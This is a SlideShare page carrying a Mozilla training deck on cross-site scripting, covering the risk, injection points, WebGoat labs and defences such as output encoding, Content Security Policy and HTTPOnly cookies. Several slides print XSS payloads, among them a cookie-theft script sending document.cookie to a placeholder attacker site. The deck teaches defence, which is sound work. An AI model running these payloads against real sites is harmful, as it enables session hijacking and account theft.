SlideShare ist ein Scribd-Unternehmen logo
1 von 38
Mozilla
Security
Learning Center
Cross Site Scripting
Agenda


• Business risk of XSS
• Understanding the vulnerability
• Attack scenarios
• Mitigation techniques
• Security enhancements
Setup



• http://people.mozilla.org/~mcoates/
  WebSecurityLab.html#installation

• http://bit.ly/MozLab
• Download Virtual Box, OWASP Broken Web App VM
Agenda


• Business risk of XSS
• Understanding the vulnerability
• Attack scenarios
• Mitigation techniques
• Security enhancements
Risks of XSS
 •   Top Web Security Issue on OWASP Top 10 (2011, 2007, 2004)

 •   Impact: Vulnerability allows attacker to change any aspect of a
     vulnerable web page

 •   Business Impact:

     •   Compromise of user accounts

     •   False data displayed on website

     •   Remote monitoring of user actions with website

     •   Full attacker control of content displayed and served from
         website
XSS in the News
Agenda


• Business risk of XSS
• Understanding the vulnerability
• Attack scenarios
• Mitigation techniques
• Security enhancements
Fundamental Problem


• Confusion between data for display and data to execute
• Example: Forum message discussing JavaScript


                                    What does
                            <script>alert(‘hi’)</script>
                                       do?
XSS Example - Intended Use

(1) User submits their name

                              Bob
    Name:_____
      submit

                                (2) Page displays name


                                    Hello: Bob
                                    submit
XSS Example - Attack
(1) Attacker submits malicious code
                                         javascript
        Name:_____
           submit
                                         (3) Malicious site steals
                                         passwords & installs malware

(2) Code is now part of webpage
      <div class=”featured”>                 Login: ___
                                             Pass: ____
      <form action=”/en-US/firefox/
      users/login” method=”post”
      id=”login” class=”featured-inner
      object-lead”>
                                               submit to evil site
               javascript
                                            <install malware>
       <div>
             <input type=”hidden”
      name=”data[Login][referer]”
XSS Points of Attack
 •   HTML Element Content
     <b>Hello <script>alert(1)</script></b>

 •   HTML Attributes
     <input type="text" value=" "><script>alert(1)</script> " >
     <input type="text" value=" "onmouseover= " alert(1) " >

 •   JavaScript
     <script>x='a'</script><script>alert(1);x= 'a'</script>

 •   CSS
     #Xsstc { background-image: url('about:blank#Hello%20World'); }

 •   HTML URL Parameters
     <a href="http://www.site.com?test= "><script>alert(1)</script><hr >
Variations
 • Reflected
  • Attack code not stored in vulnerable site
  • Exploit delivered via malicious link
 • Stored
  • Attack code stored in vulnerable site
  • User exploited by visiting vulnerable page
 • Dom
  • Client side only, no server record
Agenda


• Business risk of XSS
• Understanding the vulnerability
• Attack scenarios
• Mitigation techniques
• Security enhancements
WebGoat
• Click First Link - OWASP WebGoat version 5.3.x
• Username / Password is guest / guest
Setup



• http://people.mozilla.org/~mcoates/
  WebSecurityLab.html#installation

• http://bit.ly/MozLab
• Download Virtual Box, OWASP Broken Web App VM
Cross Site Scripting (XSS)

 • Problem: User controlled data returned in HTTP response
    contains HTML/JavaScript code

 • Impact: Session Hijacking, Full Control of Page, Malicious
    Redirects

 • Basic XSS Test:
    “ ><script>alert(document.cookie)</script>

 • Cookie Theft Example:
    “><script>document.location='http://attackersite/
    '+document.cookie</script>
Lab! - Reflected XSS
Reflected XSS Lab

 • Lesson: Cross-Site Scripting->Reflected XSS Attacks
 • Proxy Not Needed
Using A Proxy

• Burp - Configure to listen on 8080
 • Ensure “loopback only” is checked (will be by default)
Set Firefox Proxy

 • Set Firefox proxy to 8080
  • Preferences
      -> Advanced
      -> Network
      -> Settings

 • Set HTTP Proxy
 • Important - clear
    “No Proxy for” line
Confirm Setup Works

• Refresh Web Browser - it should hang
• Go to Burp -> Proxy -> Intercept (they are highlighted)
• Click “Forward” for all messages
• Should now see page in browser
Confirm Setup Works

• Intercept is on
 • Each request will be caught by proxy
 • Requires you to hit forward each time
• Intercept is off
 • Requests sent through proxy automatically
 • Logged in tab “proxy”->”history”
“Hello World” of Proxies
 • Lesson: General->Http Basic
 • Objective:
  • Enter your name into text box
  • Intercept with proxy & change entered name to different
      value

   • Receive response & observe modified value is reversed
              Joe               Sue


 Attacker’s   euS               euS
                    Web Proxy                Web Server
 Browser
Lab! - Stored XSS
Stored XSS Lab

• Lesson: Cross-Site Scripting->Stored XSS Attacks
• Proxy Not Needed
Agenda


• Business risk of XSS
• Understanding the vulnerability
• Attack scenarios
• Mitigation techniques
• Security enhancements
XSS Prevention

• Solution
  1. Output Encoding - converts command characters to
  benign characters
  2. Input Validation - secondary, best practice


  View Source:                    View Source:

  <td>test message -              <td>test message -
  “><script>alert(docu            &quot;&gt;&lt;script&gt;ale
  ment.cookie)</                  rt(document.cookie)&lt;/
  script>                         script&gt;
  </td></tr>                      </td></tr>
Agenda


• Business risk of XSS
• Understanding the vulnerability
• Attack scenarios
• Mitigation techniques
• Security enhancements
Content Security Policy (CSP)
 • CSP - New defensive control to
    eliminate XSS
                                        Name:_____
 • Allows web site to specify
    where JavaScript can be loaded       submit

    from

 • Injected JavaScript via XSS is          CSP Policy
    rendered inert                         X-Content-
 • Violations & potential XSS            Security-Policy:
                                       allow 'self'; img-src
    attacks are reported to web site
    for investigation                      'self' data:
XSS Example with CSP
(1) Attacker submits malicious code
                                           javascript
        Name:_____
           submit




(2) CSP prevents script execution        (3) Site safe to use
      <div class=”featured”>
      <form action=”/en-US/firefox/
      users/login” method=”post”
      id=”login” class=”featured-inner
      object-lead”>                            Name:_____
               javascript
       <div>
             <input type=”hidden”
                                                 submit
      name=”data[Login][referer]”
      value=”/en-US/developers/addons”
      id=”LoginReferer” /><input
        Violation report sent to
          site.com/CSPalert
Implementing CSP


• Some code changes needed to externalize JavaScript
• Run CSP in report only mode to test
• Enable CSP and protect users with browsers supporting CSP
• Receive alerts on potential vulnerabilities in app and quickly
   address to protect remaining users
CSP Violation Reporting

 • Violations of CSP policy
    reported to specified URL
                                   X-Content-Security-Policy:
 • Acts as XSS intrusion           allow self; report-uri http://
                                   reportcollector.example.com/
    detection system               collector.cgi

 • CSP supported in portion of
    site users, XSS IDS benefits
    all

 • Reported data is from client,
    trust accordingly
CSP Violation Reporting

                                                   CSP Violation


                               javascript


 •   Report Includes:

     •   HTTP Request                   Violation report sent to
                                          site.com/CSPalert
     •   request-headers

     •   blocked-uri

     •   violation-directive

     •   original-policy
CSP Violation Report
Other CSP Benefits

 • Prevent ClickJacking via frame-ancestors
 • Control embedded frames via frame-src
 • Control domains for images via img-src
 • Control target domains via xhr-src
 • Enforce specific protocols (https://*.foo.com)
 • Future enhancement to control actions & malicious forms
Protecting Outdated Users

• HTTPOnly mitigates one of XSS impacts - session hijacking
• Supported in all recent browsers
• Easy, opt-in security control to protect users

                                           Attacker’s Site

               javascript
                            Cookie: SessionID
Summary
•   XSS

    •   Untrusted user data not properly handled in response

    •   Exists with user data in HTML, JavaScript, CSS, etc

•   Defensive Design

    •   Encode for context - HTML Entity encoding, JavaScript encoding,
        etc

    •   Content Security Policy - Strong layer of defense

    •   HTTPOnly flag - Easy add for some benefits

•   More Info - OWASP XSS Prevention Cheat Sheet
Next Sessions


• Upcoming
 • August 16, 2011 - Hands-On Hacking Brownbag - SQL
     Injection

  • August 25, 2011 - OWASP Bay Area Chapter Meeting
• https://wiki.mozilla.org/WebAppSec#Schedule
• https://blog.mozilla.com/webappsec/

Weitere ähnliche Inhalte

Was ist angesagt?

Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingInMobi Technology
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Barrel Software
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host headerSergey Belov
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Nabin Dutta
 
XSS- an application security vulnerability
XSS-   an application security vulnerabilityXSS-   an application security vulnerability
XSS- an application security vulnerabilitySoumyasanto Sen
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Daniel Tumser
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request ForgeryTony Bibbs
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharSandeep Kumbhar
 
Secure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injectionSecure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injectionSecure Code Warrior
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)Manish Kumar
 
Web application security
Web application securityWeb application security
Web application securityAkhil Raj
 

Was ist angesagt? (20)

Reflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site ScriptingReflective and Stored XSS- Cross Site Scripting
Reflective and Stored XSS- Cross Site Scripting
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Attacking thru HTTP Host header
Attacking thru HTTP Host headerAttacking thru HTTP Host header
Attacking thru HTTP Host header
 
XSS - Attacks & Defense
XSS - Attacks & DefenseXSS - Attacks & Defense
XSS - Attacks & Defense
 
Cross Site Scripting(XSS)
Cross Site Scripting(XSS)Cross Site Scripting(XSS)
Cross Site Scripting(XSS)
 
XSS- an application security vulnerability
XSS-   an application security vulnerabilityXSS-   an application security vulnerability
XSS- an application security vulnerability
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
 
Sql injection
Sql injectionSql injection
Sql injection
 
Cross Site Request Forgery
Cross Site Request ForgeryCross Site Request Forgery
Cross Site Request Forgery
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbharCross site scripting (xss) attacks issues and defense - by sandeep kumbhar
Cross site scripting (xss) attacks issues and defense - by sandeep kumbhar
 
Xss ppt
Xss pptXss ppt
Xss ppt
 
How to identify and prevent SQL injection
How to identify and prevent SQL injection  How to identify and prevent SQL injection
How to identify and prevent SQL injection
 
Deep dive into ssrf
Deep dive into ssrfDeep dive into ssrf
Deep dive into ssrf
 
Secure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injectionSecure Code Warrior - CRLF injection
Secure Code Warrior - CRLF injection
 
Web Cache Poisoning
Web Cache PoisoningWeb Cache Poisoning
Web Cache Poisoning
 
Cross site scripting (xss)
Cross site scripting (xss)Cross site scripting (xss)
Cross site scripting (xss)
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
Web application security
Web application securityWeb application security
Web application security
 

Ähnlich wie Cross Site Scripting - Mozilla Security Learning Center

Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)OWASP Khartoum
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applicationsDevnology
 
웹 개발을 위해 꼭 알아야하는 보안 공격
웹 개발을 위해 꼭 알아야하는 보안 공격웹 개발을 위해 꼭 알아야하는 보안 공격
웹 개발을 위해 꼭 알아야하는 보안 공격선협 이
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Michael Hendrickx
 
[1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - С...
[1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - С...[1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - С...
[1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - С...OWASP Russia
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesBrad Hill
 
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Yassine Aboukir
 
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Jim Manico
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application DefenseFrank Kim
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersFrank Kim
 
www.webre24h.com - Ajax security
www.webre24h.com - Ajax securitywww.webre24h.com - Ajax security
www.webre24h.com - Ajax securitywebre24h
 
XSS: From alert(1) to crypto mining malware
XSS: From alert(1) to crypto mining malwareXSS: From alert(1) to crypto mining malware
XSS: From alert(1) to crypto mining malwareOmer Meshar
 
Html5 security
Html5 securityHtml5 security
Html5 securityKrishna T
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10bilcorry
 
Web application security
Web application securityWeb application security
Web application securityJin Castor
 
Altitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeAltitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeFastly
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013tmd800
 

Ähnlich wie Cross Site Scripting - Mozilla Security Learning Center (20)

Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
웹 개발을 위해 꼭 알아야하는 보안 공격
웹 개발을 위해 꼭 알아야하는 보안 공격웹 개발을 위해 꼭 알아야하는 보안 공격
웹 개발을 위해 꼭 알아야하는 보안 공격
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)
 
[1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - С...
[1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - С...[1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - С...
[1.2] Трюки при анализе защищенности веб приложений – продвинутая версия - С...
 
Secure webbrowsing 1
Secure webbrowsing 1Secure webbrowsing 1
Secure webbrowsing 1
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?
 
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
Protecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP HeadersProtecting Java EE Web Apps with Secure HTTP Headers
Protecting Java EE Web Apps with Secure HTTP Headers
 
www.webre24h.com - Ajax security
www.webre24h.com - Ajax securitywww.webre24h.com - Ajax security
www.webre24h.com - Ajax security
 
XSS: From alert(1) to crypto mining malware
XSS: From alert(1) to crypto mining malwareXSS: From alert(1) to crypto mining malware
XSS: From alert(1) to crypto mining malware
 
Html5 security
Html5 securityHtml5 security
Html5 security
 
2013 OWASP Top 10
2013 OWASP Top 102013 OWASP Top 10
2013 OWASP Top 10
 
Web application security
Web application securityWeb application security
Web application security
 
Altitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edgeAltitude SF 2017: Security at the edge
Altitude SF 2017: Security at the edge
 
OWASP top 10-2013
OWASP top 10-2013OWASP top 10-2013
OWASP top 10-2013
 

Mehr von Michael Coates

Self Defending Applications
Self Defending ApplicationsSelf Defending Applications
Self Defending ApplicationsMichael Coates
 
Security in an Interconnected and Complex World of Software
Security in an Interconnected and Complex World of SoftwareSecurity in an Interconnected and Complex World of Software
Security in an Interconnected and Complex World of SoftwareMichael Coates
 
Devbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityDevbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityMichael Coates
 
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAPVirtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAPMichael Coates
 
2013 michael coates-javaone
2013 michael coates-javaone2013 michael coates-javaone
2013 michael coates-javaoneMichael Coates
 
Bug Bounty Programs For The Web
Bug Bounty Programs For The WebBug Bounty Programs For The Web
Bug Bounty Programs For The WebMichael Coates
 
SQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning CenterSQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning CenterMichael Coates
 
Real Time Application Defenses - The Reality of AppSensor & ESAPI
Real Time Application Defenses - The Reality of AppSensor & ESAPIReal Time Application Defenses - The Reality of AppSensor & ESAPI
Real Time Application Defenses - The Reality of AppSensor & ESAPIMichael Coates
 

Mehr von Michael Coates (10)

Self Defending Applications
Self Defending ApplicationsSelf Defending Applications
Self Defending Applications
 
Security in an Interconnected and Complex World of Software
Security in an Interconnected and Complex World of SoftwareSecurity in an Interconnected and Complex World of Software
Security in an Interconnected and Complex World of Software
 
Devbeat Conference - Developer First Security
Devbeat Conference - Developer First SecurityDevbeat Conference - Developer First Security
Devbeat Conference - Developer First Security
 
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAPVirtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
 
2013 michael coates-javaone
2013 michael coates-javaone2013 michael coates-javaone
2013 michael coates-javaone
 
Sf startup-security
Sf startup-securitySf startup-security
Sf startup-security
 
Bug Bounty Programs For The Web
Bug Bounty Programs For The WebBug Bounty Programs For The Web
Bug Bounty Programs For The Web
 
SQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning CenterSQL Injection - Mozilla Security Learning Center
SQL Injection - Mozilla Security Learning Center
 
Real Time Application Defenses - The Reality of AppSensor & ESAPI
Real Time Application Defenses - The Reality of AppSensor & ESAPIReal Time Application Defenses - The Reality of AppSensor & ESAPI
Real Time Application Defenses - The Reality of AppSensor & ESAPI
 
SSL Screw Ups
SSL Screw UpsSSL Screw Ups
SSL Screw Ups
 

Kürzlich hochgeladen

Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodJuan lago vázquez
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDropbox
 
Cyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdfCyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdfOverkill Security
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfOverkill Security
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesrafiqahmad00786416
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKJago de Vreede
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusZilliz
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024The Digital Insurer
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Angeliki Cooney
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdfSandro Moreira
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Jeffrey Haguewood
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherRemote DBA Services
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobeapidays
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...apidays
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...DianaGray10
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 

Kürzlich hochgeladen (20)

Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Cyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdfCyberprint. Dark Pink Apt Group [EN].pdf
Cyberprint. Dark Pink Apt Group [EN].pdf
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdf
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with Milvus
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
Apidays New York 2024 - Accelerating FinTech Innovation by Vasa Krishnan, Fin...
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 

Cross Site Scripting - Mozilla Security Learning Center

  • 2. Agenda • Business risk of XSS • Understanding the vulnerability • Attack scenarios • Mitigation techniques • Security enhancements
  • 3. Setup • http://people.mozilla.org/~mcoates/ WebSecurityLab.html#installation • http://bit.ly/MozLab • Download Virtual Box, OWASP Broken Web App VM
  • 4. Agenda • Business risk of XSS • Understanding the vulnerability • Attack scenarios • Mitigation techniques • Security enhancements
  • 5. Risks of XSS • Top Web Security Issue on OWASP Top 10 (2011, 2007, 2004) • Impact: Vulnerability allows attacker to change any aspect of a vulnerable web page • Business Impact: • Compromise of user accounts • False data displayed on website • Remote monitoring of user actions with website • Full attacker control of content displayed and served from website
  • 6. XSS in the News
  • 7. Agenda • Business risk of XSS • Understanding the vulnerability • Attack scenarios • Mitigation techniques • Security enhancements
  • 8. Fundamental Problem • Confusion between data for display and data to execute • Example: Forum message discussing JavaScript What does <script>alert(‘hi’)</script> do?
  • 9. XSS Example - Intended Use (1) User submits their name Bob Name:_____ submit (2) Page displays name Hello: Bob submit
  • 10. XSS Example - Attack (1) Attacker submits malicious code javascript Name:_____ submit (3) Malicious site steals passwords & installs malware (2) Code is now part of webpage <div class=”featured”> Login: ___ Pass: ____ <form action=”/en-US/firefox/ users/login” method=”post” id=”login” class=”featured-inner object-lead”> submit to evil site javascript <install malware> <div> <input type=”hidden” name=”data[Login][referer]”
